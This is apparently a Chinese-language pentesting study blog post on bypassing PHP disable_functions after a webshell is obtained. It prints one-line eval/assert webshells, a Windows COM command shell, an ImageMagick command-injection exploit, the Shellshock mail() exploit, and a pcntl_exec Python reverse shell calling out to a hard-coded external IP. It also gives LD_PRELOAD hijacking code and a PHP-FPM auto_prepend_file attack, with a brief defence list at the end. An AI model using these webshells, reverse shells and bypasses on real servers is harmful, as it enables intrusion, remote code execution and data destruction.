0x00 disable_functions
PHP 的 disable_functions 用于禁用一些危险的函数避免被攻击者利用.我们在渗透过程中即使成功getshell,但是由于 PHP disable_functions 的存在,无法执行系统命令(即使是 ls 这样的命令。
本文来总结一下PHP disable_functions Bypass方法,文中思想均来自互联网,仅仅是个人学习来用,所以没有多少启发性。
webshell原理
在学习 Bypass之前,我们先来了解一下什么是webshell。
什么是webshell?
webshell 就是以网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。顾名思义,web的含义是显然需要服务器开放 web 服务,shell 的含义是取得对服务器某种程度上操作权限。webshell 常常被称为入侵者通过网站端口对网站服务器的某种程度上操作的权限。由于 webshell 其大多是以动态脚本的形式出现,也有人称之为网站的后门工具。一句话木马、小马、大马都可以叫 webshell。
eval一句话木马:
<?php @eval($_POST[a]);?>
一句话木马出现了无数中变形,但本质是不变的:木马的函数执行了我们发送的命令。
一句话木马原理
一句话木马的原理是利用了 PHP 中的 eval()。
而且这里我们使用了超全局变量$_POST来实现类似菜刀功能管理网站
为什么不用get呢?
因为GET 方法有一些限制,第一是存在长度限制:特定的浏览器及服务器会对通过 get 方法提交的字符串有一定的限制。第二是当网站管理员查 log 的时候,会看到明文的 get 请求参数,容易被发现,相比之下, post 请求敏感内容不容易被发现。所以最好把 get 方法换成 post 方法。
注: eval 是因为是一个语言构造器而不是一个函数,不能被可变函数调用。
PHP eval() 把字符串按照 PHP 代码来计算。
该字符串必须是合法的 PHP 代码,且必须以分号结尾。
如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。
这里在 eval 前面加一个 @,@是忽略可能出现的错误。
assert 一句话木马
<?php @assert($_POST[a]);?>
assert 这个函数在 php 语言中是用来判断一个表达式是否成立。返回 true or false;assert 函数的参数会被执行,这跟 eval() 类似。
但是assert 函数他又一些具体限制
php7.2版本assert() 函数传入字符串参数禁用,在 8.0 版本时会被彻底删除。也就是说上面的一句话失效。我们可以在菜刀蚁剑中使用eval()来连接。
但是虽然官方说了php7.2版本assert() 函数传入字符串参数禁用,但有时却会有奇怪的现象导致我们可以传入字符串参数。官方对此说的也很模糊。。所以当出现可以传入字符串参数时也不必惊讶。
一句话木马执行原理
简单来说就是调用系统函数达到命令执行的功能
比如system.exec等
这里为什么用system,因为system 函数执行外部程序,并且显示输出。
exec执行后没有显示。
一句话木马就写到这里吧,这篇文章重点还是PHP disable_functions Bypass。感觉一句话知识点也挺多的,以后单独开个随笔写吧。
disable_functions Bypass
通常来说,导致 webshell 不能执行命令的原因大概有三类:一是 php.ini 中用 disable_functions 指示器禁用了 system()、exec() 等等这类命令执行的相关函数;二是 web 进程运行在 rbash 这类受限 shell 环境中;三是 WAF 拦劫。若是一则无法执行任何命令,若是二、三则可以执行少量命令
0x00黑名单策略
在最开始的话就是查看disable_functions利用黑名单策略有没有漏网之鱼利用其他系统命令执行。常见的执行命令的函数有 system()、exec()、shell_exec()、passthru(),偏僻的 popen()、proc_open()、pcntl_exec(),逐一尝试,或许有漏网之鱼。
0x01 PHP COM组件
因为我本地是windows,所以先来看一下windows下可以绕过的方法:
Windows下可以使用COM组件执行系统命令
条件:
window com组件(php 5.4)(高版本扩展要自己添加)
这里我们设置一个严苛的disable_functions
php.ini 配置如下:
disable_functions=pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system
开启COM组件
正常情况下返回空白
我们能做到这一步就默认我们已经getshell,可以上传文件:
我们上传该文件:命名为wtz.php
<?php
$command=$_GET['a'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
成功执行命令
0x02 攻击后端组件
ImageMagick
ImageMagick是一款广泛流行的图像处理软件,有无数的网站使用它来进行图像处理。
因为懒得搭环境了就来照着前辈们的文章来谈谈吧:
- 安装漏洞版本的imagemagick;
- 安装php-imagick拓展并在php.ini中启用;
- 编写php通过new Imagick对象的方式来处理图片等格式文件;
存在命令注入的版本为 v6.9.3-9 或 v7.0.1-0
这里可以绕过的原因是Imagick类提供多种图片处理的方法,当传入图片等格式文件后,imagemagick会根据代码逻辑自动调用自身api方法处理,不需要直接在php代码中写命令执行的语句来处理文件
利用代码如下
<?php
echo "Disable Functions: " . ini_get('disable_functions') . "
";
$command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
if ($command == '') {
$command = 'id';
}
$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|$command")'
pop graphic-context
EOF;
file_put_contents("KKKK.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('KKKK.mvg');
$thumb->writeImage('KKKK.png');
$thumb->clear();
$thumb->destroy();
unlink("KKKK.mvg");
unlink("KKKK.png");
?>
看着就这么几句话,但是复现可能会出现各种原因报错,emmm感兴趣的师傅可以试一下
目前我能找到的信息也是太少..有知道的可以留言一下复现过程的版本233
Bash Shellshock
破壳漏洞 CVE-2014-6271,影响bash 3.0到4.3的所有版本
利用方法要求 PHP < 5.6.2
原理:
https://www.leavesongs.com/PHP/php-bypass-disable-functions-by-CVE-2014-6271.html
简单来说:
如果系统默认sh是bash,popen会派生bash进程。而之前的bash破壳(CVE-2014-6271)漏洞,直接导致我们可以利用mail()函数执行任意命令,绕过disable_functions。
同样,我们搜索一下php的源码,可以发现,明里调用popen派生进程的php函数还有imap_mail,如果你仅仅通过禁用mail函数来规避这个安全问题,那么imap_mail是可以做替代的。当然,php里还可能有其他地方有调用popen或其他能够派生bash子进程的函数,通过这些地方,都可以通过破壳漏洞执行命令的。
脚本:
<?php
# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions)
# Google Dork: none
# Date: 10/31/2014
# Exploit Author: Ryan King (Starfall)
# Vendor Homepage: http://php.net
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror
# Version: 5.* (tested on 5.6.2)
# Tested on: Debian 7 and CentOS 5 and 6
# CVE: CVE-2014-6271
function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
// In Safe Mode, the user may only alter environment variableswhose names
// begin with the prefixes supplied by this directive.
// By default, users will only be able to set environment variablesthat
// begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty,
// PHP will let the user modify ANY environment variable!
mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actuallysend any mail
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>
因为我本地bash不满足条件,我这里也没复现。利用也是和上面一样,传入网站目录下,
http://127.0.0.1:88/wtz.php?cmd=id
0x03 利用pcntl_exec突破disable_functions
pcntl是linux下的一个扩展,可以支持php的多线程操作。(与python结合反弹shell) pcntl_exec函数的作用是在当前进程空间执行指定程序,版本要求:PHP 4 >= 4.2.0, PHP 5
利用代码如下
<?php pcntl_exec("/usr/bin/python",array('-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("132.232.75.90",9898));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));?>
我们在vps监听9898端口弹shell就行了。
这种情况也可以算是第一种黑名单策略了,一般严苛的都会ban掉,还是单独把这种反弹shell的拿出来了。。
0x04 利用环境变量LD_PRELOAD来绕过php disable_function
思路:
上面已经提过了bash破壳漏洞,大体思路是通过putenv来设置一个包含自定义函数的环境变量,通过mail函数来触发。为什么mail函数能触发,因为mail函数在执行过程中,php与系统命令执行函数有了交集,它调用了popen函数来执行,如果系统有bash漏洞,就直接触发了恶意代码的执行。但一般这种漏洞,安全意识好一点的运维,都会给打上补丁了。
那么我们继续深入:
php的mail函数在执行过程中会默认调用系统程序/usr/sbin/sendmail,如果我们能劫持sendmail程序,再用mail函数来触发就能实现我们的目的了。那么我们有没有办法在webshell层来劫持它呢,环境变量LD_PRELOAD给我们提供了一种简单实用的途径。
LD_PRELOAD是什么
搬运链接:https://wooyun.x10sec.org/static/drops/tips-16054.html
在UNIX的动态链接库的世界中,LD_PRELOAD是一个有趣的环境变量,它可以影响程序运行时的链接,它允许你定义在程序运行前优先加载的动态链接库。如果你想进一步了解这些知识,可以去网上搜索相关文章,这里不做过多解释,直接来看一段例程,就能明白利用原理
例程:verifypasswd.c
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv){
char passwd[] = "password";
if (argc < 2) {
printf("usage: %s <password>/n", argv[0]);
return;
}
if (!strcmp(passwd, argv[1])) {
printf("Correct Password!/n");
return;
}
printf("Invalid Password!/n");
}
程序很简单,根据判断传入的字符串是否等于"password",得出两种不同结果。 其中用到了标准C函数strcmp函数来做比较,这是一个外部调用函数,我们来重新编写一个同名函数:
#include <stdio.h>
#include <string.h>
int strcmp(const char *s1, const char *s2){
printf("hack function invoked. s1=<%s> s2=<%s>/n", s1, s2);
return 0;
}
把它编译为一个动态共享库:
$ gcc -o verifypasswd.c verifypasswd
$ gcc -shared verifypasswd -o hack.so
通过LD_PRELOAD来设置它能被其他调用它的程序优先加载:
$ export LD_PRELOAD="./hack.so"
运行给出的例程:
$ ./verifypasswd abcd
$ Correct Password!
我们看到随意输入字符串都会显示密码正确,这说明程序在运行时优先加载了我们自己编写的程序。这也就是说如果程序在运行过程中调用了某个标准的动态链接库的函数,那么我们就有机会通过LD_PRELOAD来设置它优先加载我们自己编写的程序,实现劫持。
实战
那么我们来看一下sendmail函数都调用了哪些库函数,使用readelf -Ws /usr/sbin/sendmail命令来查看,我们发现sendmail函数在运行过程动态调用了很多标准库函数:
[Desktop]$ readelf -Ws /usr/sbin/sendmail
Symbol table '.dynsym' contains 202 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
1: 0000000000000238 0 SECTION LOCAL DEFAULT 1
2: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getegid@GLIBC_2.2.5 (2)
3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __errno_location@GLIBC_2.2.5 (2)
4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND pcre_fullinfo
5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND tzset@GLIBC_2.2.5 (2)
6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strcspn@GLIBC_2.2.5 (2)
7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __ctype_toupper_loc@GLIBC_2.3 (3)
8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __ctype_tolower_loc@GLIBC_2.3 (3)
9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getopt@GLIBC_2.2.5 (2)
10: 0000000000000000 0 FUNC GLOBAL DEFAULT UND socket@GLIBC_2.2.5 (2)
11: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fork@GLIBC_2.2.5 (2)
12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND db_version
13: 0000000000000000 0 OBJECT GLOBAL DEFAULT UND __environ@GLIBC_2.2.5 (2)
14: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strerror@GLIBC_2.2.5 (2)
15: 0000000000000000 0 FUNC GLOBAL DEFAULT UND write@GLIBC_2.2.5 (2)
16: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strchr@GLIBC_2.2.5 (2)
17: 0000000000000000 0 FUNC GLOBAL DEFAULT UND seteuid@GLIBC_2.2.5 (2)
18: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strspn@GLIBC_2.2.5 (2)
19: 0000000000000000 0 FUNC WEAK DEFAULT UND __cxa_finalize@GLIBC_2.2.5 (2)
20: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.2.5 (2)
......
从中选取一个合适的库函数后我们就可以进行测试了:
编制我们自己的动态链接程序。
通过putenv来设置LD_PRELOAD,让我们的程序优先被调用。
在webshell上用mail函数发送一封邮件来触发。
我们来测试删除一个新建的文件,这里我们选取geteuid()函数来改造,先在/tmp目录新建一个文件check.txt。
编写hack.c:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("rm /tmp/check.txt");
}
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
当这个共享库中的geteuid被调用时,尝试加载payload()函数,执行命令。这个测试函数写的很简单,实际应用时可相应调整完善。在攻击机上(注意编译平台应和靶机平台相近,至少不能一个是32位一个是64位)把它编译为一个位置信息无关的动态共享库:
$ gcc -c -fPIC hack.c -o hack
$ gcc -shared hack -o hack.so
再上传到webshell上,然后写一段简单的php代码:
<?php
putenv("LD_PRELOAD=/var/www/hack.so");
mail("a@localhost","","","","");
?>
在浏览器中打开就可以执行它,然后再去检查新建的文件是否还存在,找不到文件则表示系统成功执行了删除命令,也就意味着绕过成功,测试中注意修改为实际路径。 本地测试效果如下:
[yiyang@bogon Desktop]$ touch /tmp/check.txt
[yiyang@bogon bin]$ ./php mail.php
sendmail: warning: the Postfix sendmail command has set-uid root file permissions
sendmail: warning: or the command is run from a set-uid root process
sendmail: warning: the Postfix sendmail command must be installed without set-uid root file permissions
sendmail: fatal: setgroups(1, &500): Operation not permitted
[yiyang@bogon bin]$ cat /tmp/check.txt
cat: /tmp/check.txt: No such file or directory
普通用户权限,目标文件被删除。
这么长的一段东西当我第一遍看完时是蒙蔽的。。什么编译劫持。。接下来我就尽可能的简洁总结一下上面干了什么
我们可以在开始的例子中通过LD_PRELOAD来设置动态共享库so它能被其他调用它的程序优先加载,之后我们可以得出结论:程序在运行时优先加载了我们自己编写的程序。这也就是说如果程序在运行过程中调用了某个标准的动态链接库的函数,(这里我们做了一个和它同名的函数strcmp,这样就可以在服务器调用同名函数时调用此函数。)那么我们就有机会通过LD_PRELOAD来设置它优先加载我们自己编写的程序,实现劫持
也就是说一般而言,利用入侵控制网络启动新进程a.bin(即使进程名无法让我随意指定),a.bin内部调用系统函数b(),b()放置系统共享对象c.so中,所以系统为该进程加载共c.so,想法在c.so前优先加载可控的c_evil.so,c_evil.so内含与b()同名的恶意函数,由于c_evil.so优先级较高,所以,a .bin将调用到c_evil.so内b()而不是系统的c.so内b(),同时,c_evil.so可控,达到执行恶意代码的目的。
基于此,我们可以把攻击过程分为以下几步:
1:编写一个原型为uid_t getuid(void); 的C函数,内部执行攻击者指定的代码,并编译成共享对象getuid_shadow.so;
2:运行PHP函数putenv(),设置环境变量LD_PRELOAD为getuid_shadow.so,然后逐步启动该共享对象;
3:运行PHP的mail()函数,mail()内部启动新进程/ usr / sbin / sendmail,由于上一步LD_PRELOAD的作用,sendmail调用的系统函数getuid()被优先级更好的getuid_shadow.so中的同名getuid ()所劫持;
4:达到不调用PHP的各种命令执行函数(system(),exec()等等)仍是初始化系统命令的目的。
ps:
1:之所以劫持getuid(),是因为sendmail程序会调用该函数(当然也可以为其他被调用的系统函数)
2:mail()函数在内部启动/ usr / sbin / sendmail,他与我们的系统命令挂钩
3:sendmail中又挂钩了一些系统API(例如getuid())帮助我们以注入邪恶的代码
4:unsetenv ("LD_PRELOAD");我们通过LD_PRELOAD劫持了启动进程的行为,劫持后又启动了另外的新进程,若不在新进程启动前取消LD_PRELOAD,则将无限循环,因此必须删除环境变量LD_PRELOAD。调用unsetenv("LD_PRELOAD")
实际上,unsetenv()就是对environ的简单封装实现的环境变量删除功能。
0x05 LD_PRELOAD绕过disable_functions局限性和绕过
参考文章
https://www.freebuf.com/articles/web/192052.html
上面我们分析了通过LD_PRELOAD绕过disable_functions的方法,但是实际环境中会有很多局限性,所以我们需要一个更通用的方法:
如果没有sendmail工具,我们怎么绕过?
劫持getuid(),是因为sendmail程序会调用该函数(当然也可以为其他被调用的系统函数),在真实环境中,存在两方面问题:一是,某些环境中,web禁止启用senmail ,甚至系统上根本未安装sendmail,也就谈不上劫持getuid(),通常的www-data权限又不能去更改php.ini配置,去安装sendmail软件;
二是,甚至目标可以启用sendmail,由于未将主机名(主机名输出)添加进来的主机中,导致每次运行sendmail都要耗时半分钟等待域名解析超时返回,www-data也无法将主机名加入主机(如,127.0.0.1 lamp,lamp。 ,lamp.com)。基于这两个原因,我必须放弃劫持函数getuid(),必须找到一个更普适的方法。返回LD_PRELOAD本身,系统通过它预先加载共享对象,如果能找到一个方式,在加载时就执行代码,而不用考虑劫持某些系统函数,那我就完全可以不依赖sendmail了。这种场 与C ++的构造函数简直神似!
GCC有一个C语言扩展修饰符__attribute__((constructor)),可以让由它修饰的函数在main()之前执行,如果它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行__attribute__((constructor))修饰的函数。非常重要,很多朋友用LD_PRELOAD手法突破disable_functions无法做到百分百成功,正因为这个原因,不要完全单独劫持该函数,而应考虑阻止劫持启动进程这一行为。
此外,我通过LD_PRELOAD劫持了启动进程的行为,劫持后又启动了另外的新进程,若不在新进程启动前取消LD_PRELOAD,则将无限循环,因此必须删除环境变量LD_PRELOAD。调用unsetenv("LD_PRELOAD"),这在大部份linux发行套件上的确实可行,但在centos上却无效,究其原因,centos自己也钩了unsetenv(),在其内部启动了其他进程,根本来不及删除LD_PRELOAD就又被劫持,导致无限循环。所以,我得找一种比unsetenv()更直接的删除环境变量的方式。是它,变量变量extern char** environ!实际上,unsetenv()就是对environ的简单封装实现的环境变量删除功能。
基于以上,我们现在需要的唯一条件,PHP 支持putenv()、mail() 即可,甚至无需安装 sendmail。
一把梭工具:
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD/
passive_disablefunc.php为命令执行webshell,提供三个GET参数:
http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so
以上来自文章https://www.freebuf.com/articles/web/192052.html
希望能看完看懂,只会用工具不知道原理是没有灵魂的。
0x06 php-fpm来绕过disable function
链接:https://www.anquanke.com/post/id/193117
https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html#fastcgi-record
在学习php-fpm我们需要知道一些前置知识:
php-cgi
既然是利用PHP-FPM,我们首先需要了解一下什么是PHP-FPM,研究过apache或者nginx的人都知道,早期的websherver负责处理全部请求,其接收到请求,读取文件,传输过去.换句话说,早期的webserver只处理html等静态web.
但是呢,随着技术发展,出现了像php等动态语言来丰富web,形成动态web,这就糟了,webserver处理不了了,怎么办呢?那就交给php解释器来处理吧!交给php解释器处理很好,但是,php解释器如何与webserver进行通信呢?为了解决不同的语言解释器(如php、python解释器)与webserver的通信,于是出现了cgi协议。只要你按照cgi协议去编写程序,就能实现语言解释器与webwerver的通信。如php-cgi程序。
fast-cgi
有了cgi,自然就解决了webserver与php解释器的通信问题,但是webserver有一个问题,就是它每收到一个请求,都会去fork一个cgi进程,请求结束再kill掉这个进程.这样会很浪费资源,于是,出现了cgi的改良版本,fast-cgi。fast-cgi每次处理完请求后,不会kill掉这个进程,而是保留这个进程,使这个进程可以一次处理多个请求.这样就会大大的提高效率.
fast-cgi record
Fastcgi其实是一个通信协议,和HTTP协议一样,都是进行数据交换的一个通道。
HTTP协议是浏览器和服务器中间件进行数据交换的协议,浏览器将HTTP头和HTTP体用某个规则组装成数据包,以TCP的方式发送到服务器中间件,服务器中间件按照规则将数据包解码,并按要求拿到用户需要的数据,再以HTTP协议的规则打包返回给服务器。
类比HTTP协议来说,fastcgi协议则是服务器中间件和某个语言后端进行数据交换的协议。Fastcgi协议由多个record(记录)组成,record也有header和body一说,服务器中间件将这二者按照fastcgi的规则封装好发送给语言后端,语言后端解码以后拿到具体数据,进行指定操作,并将结果再按照该协议封装好后返回给服务器中间件。
使用cgi协议封装之后的请求是这样子的
typedef struct
{
HEAD
unsigned char version; //版本
unsigned char type; //类型
unsigned char requestIdB1; //id
unsigned char requestIdB0;
unsigned char contentLengthB1; //body大小
unsigned char contentLengthB0;
unsigned char paddingLength; //额外大小
unsigned char reserved;
BODY
unsigned char contentData[contentLength];//主要内容
unsigned char paddingData[paddingLength];//额外内容
}FCGI_Record;
头由8个uchar类型的变量组成,每个变量1字节。其中,requestId占两个字节,一个唯一的标志id,以避免多个请求之间的影响;contentLength占两个字节,表示body的大小。语言端解析了fastcgi头以后,拿到contentLength,然后再在TCP流里读取大小等于contentLength的数据,这就是body体。Body后面还有一段额外的数据(Padding),其长度由头中的paddingLength指定,起保留作用。不需要该Padding的时候,将其长度设置为0即可。可见,一个fastcgi record结构最大支持的body大小是2^16,也就是65536字节。
其中发送类型很重要,具体的发送类型如下:
服务器中间件和后端语言通信,第一个数据包就是type为1的record,后续互相交流,发送type为4、5、6、7的record,结束时发送type为2、3的record。
php-fpm
FPM其实是一个fastcgi协议解析器,Nginx等服务器中间件将用户请求按照fastcgi的规则打包好通过TCP传给谁?其实就是传给FPM。
FPM按照fastcgi的协议将TCP流解析成真正的数据。
举个例子,用户访问http://127.0.0.1/index.php?a=1&b=2,如果web目录是/var/www/html,那么Nginx会将这个请求变成如下key-value对:
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
}
这个数组其实就是PHP中$_SERVER数组的一部分,也就是PHP里的环境变量。但环境变量的作用不仅是填充$_SERVER数组,也是告诉fpm:“我要执行哪个PHP文件”。
PHP-FPM拿到fastcgi的数据包后,进行解析,得到上述这些环境变量。然后,执行SCRIPT_FILENAME的值指向的PHP文件,也就是/var/www/html/index.php。
终于我们主题php-fpm来绕过disable function攻击方法出来了
PHP-FPM默认监听9000端口,如果这个端口暴露在公网,则我们可以自己构造fastcgi协议,和fpm进行通信。利用 webshell 直接与 FPM通信 来绕过 disable functions.
当然这个方法的局限性就行如果没有开启9000端口,那么这个php-fpm来绕过disable function攻击方法失效。
还有一些问题:
1:fpm的默认配置中增加了一个选项security.limit_extensions:
; Limits the extensions of the main script FPM will allow to parse. This can
; prevent configuration mistakes on the web server side. You should only limit
; FPM to .php extensions to prevent malicious users to use other extensions to
; exectute php code.
; Note: set an empty value to allow all extensions.
; Default Value: .php
;security.limit_extensions = .php .php3 .php4 .php5 .php7
由于这个配置项的限制,如果想利用PHP-FPM的未授权访问漏洞,首先就得找到一个已存在的PHP文件。
我们使用find / -name "*.php"来全局搜索一下默认环境
2:我们控制fastcgi协议通信的内容即使让fpm执行任意文件,也只是执行目标服务器上的文件,并不能执行我们需要其执行的文件。
我们可以从php.ini入手.它有两个特殊选项,能够让我们去做到任意命令执行,那就是auto_prepend_file.auto_prepend_file的功能是在在执行目标文件之前,先包含它指定的文件,这样的话,就可以用它来指定php://input进行远程文件包含了.这样就可以做到任意命令执行了.
3:怎么设置auto_prepend_file的值?
远程文件包含有allow_url_include这个限制因素
FPM是有设置PHP配置项的KEY-VALUE的,PHP_VALUE可以用来设置php.ini,PHP_ADMIN_VALUE则可以设置所有选项.这样就解决问题了.
最后我们构造如下:
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
设置auto_prepend_file = php://input且allow_url_include = On,然后将我们需要执行的代码放在Body中,即可执行任意代码。
p神exp:
https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
蚁剑插件也已经实现了这个功能,首先验证FPM是否可行,然后生成并且上传扩展,然后开始构造fastcgi封装请求来加载扩展,触发payload后,生成新的php server,每次执行命令的时候都会转发到60802进行执行.
事实上蚁剑也已经封装好了很多插件不乏我上面分析的几个
想了解的看链接:
https://www.anquanke.com/post/id/195686#h3-11
0x07 防御
1:disable_function禁用参考
set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl
2:PHP7使用28 Nov 2019以后版本
3:正确设置open_basedir及目录的可写权限
4:做好上述插件和组件的配置核查
5:使用主机监控和waf对webshell进行检测和敏感操作拦截
参考
https://www.anquanke.com/post/id/193117#h3-7
https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html#fastcgi-record
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD/